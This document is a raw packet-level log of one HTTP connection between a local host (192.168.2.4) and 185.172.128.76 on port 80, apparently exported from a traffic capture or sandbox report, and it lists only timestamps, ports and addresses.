Apr 25, 2024 14:42:10.904999018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905011892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905035973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905057907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905071020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905097961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905112028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905133963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905149937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905185938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905210972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905224085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905250072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905272961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905277014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905288935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905325890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905352116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905390978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905405045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905443907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905469894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905482054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905507088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905522108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905544043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905558109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905592918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905617952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905658007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905780077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905819893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905850887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905890942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.905930996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.905972958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.906014919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.906030893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.906069994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.906594992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.906608105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.906646013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.906718969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.906805038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.906851053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.906896114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.906922102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.906938076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.906964064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.907092094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.907136917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.907140017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.907183886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.907246113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.907258987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.907298088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.907310009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.907392025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.907438993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.908471107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.908483982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.908515930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.908535957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.908539057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.908600092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.908639908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.908704042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.908749104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.908811092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.908823013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.908833981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.908859968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.908883095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.908898115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.908910990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.908937931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.908952951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.908974886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909033060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909065962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909074068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909104109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909177065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909215927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909234047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909249067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909260988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909271955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909280062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909297943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909305096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909320116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909328938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909348965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909373045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909384966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909408092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909415007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909439087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909439087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909447908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909497976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909509897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909521103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909538984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909564972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909574032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909611940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909632921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909645081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909667015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909676075 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909687996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909692049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909704924 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909727097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909748077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909765959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909789085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909827948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909841061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909867048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909883022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909892082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909914017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909950972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.909964085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.909976006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910001993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910022974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910031080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910043001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910075903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910079956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910119057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910135984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910149097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910175085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910187006 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910206079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910218954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910254955 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910264015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910303116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910320997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910360098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910367966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910407066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910419941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910433054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910443068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910458088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910473108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910481930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910507917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910545111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910654068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910665989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910682917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910693884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910707951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910725117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910763025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910799980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910835981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910849094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.910875082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910890102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.910964012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.911196947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.911236048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.911406994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.911453962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.911597013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.911643028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.913362026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.913374901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.913419008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.913423061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.913445950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.913466930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.913490057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.913539886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.913578987 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.913599014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.913636923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.913661957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.913674116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.913702011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.913718939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.913733006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.913800001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.913845062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.913861990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.913873911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.913901091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.913933039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.913937092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914000988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914014101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914042950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914052010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914125919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914139032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914150000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914165020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914175034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914184093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914201021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914207935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914222002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914244890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914268017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914309025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914340019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914380074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914457083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914469957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914510965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914536953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914549112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914573908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914589882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914598942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914669037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914712906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914747953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914786100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.914788008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.914827108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.947868109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.947976112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.947990894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.948031902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.948062897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.948106050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.949958086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.957420111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.957500935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.957565069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.957567930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.957582951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.957596064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.957606077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.957621098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.957653046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.957664013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.957698107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.957715988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.957727909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.957792044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.957833052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.957847118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.957859993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.957890034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.957914114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.957932949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.958038092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.958050966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.958076954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.958082914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.958106041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.958126068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.961052895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.961360931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.961409092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.961412907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.961448908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.961460114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.961500883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.961528063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.961564064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.961569071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.961604118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.961627007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.961668015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.961682081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.961721897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.961730957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.961767912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.961786032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.961826086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.961963892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.962027073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.962136030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.962182999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.962765932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.962815046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.962901115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.962913990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.962959051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.962959051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.962999105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963013887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963052988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963058949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963107109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963143110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963181019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963207006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963246107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963263988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963304043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963320017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963335991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963362932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963377953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963388920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963402033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963448048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963454962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963495970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963514090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963540077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963557005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963566065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963579893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963598967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963604927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963638067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963663101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963701963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963794947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963808060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963835955 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963850975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.963864088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.963970900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964014053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964061975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964075089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964132071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964132071 CEST	49731	80	192.168.2.4	185.172.128.76
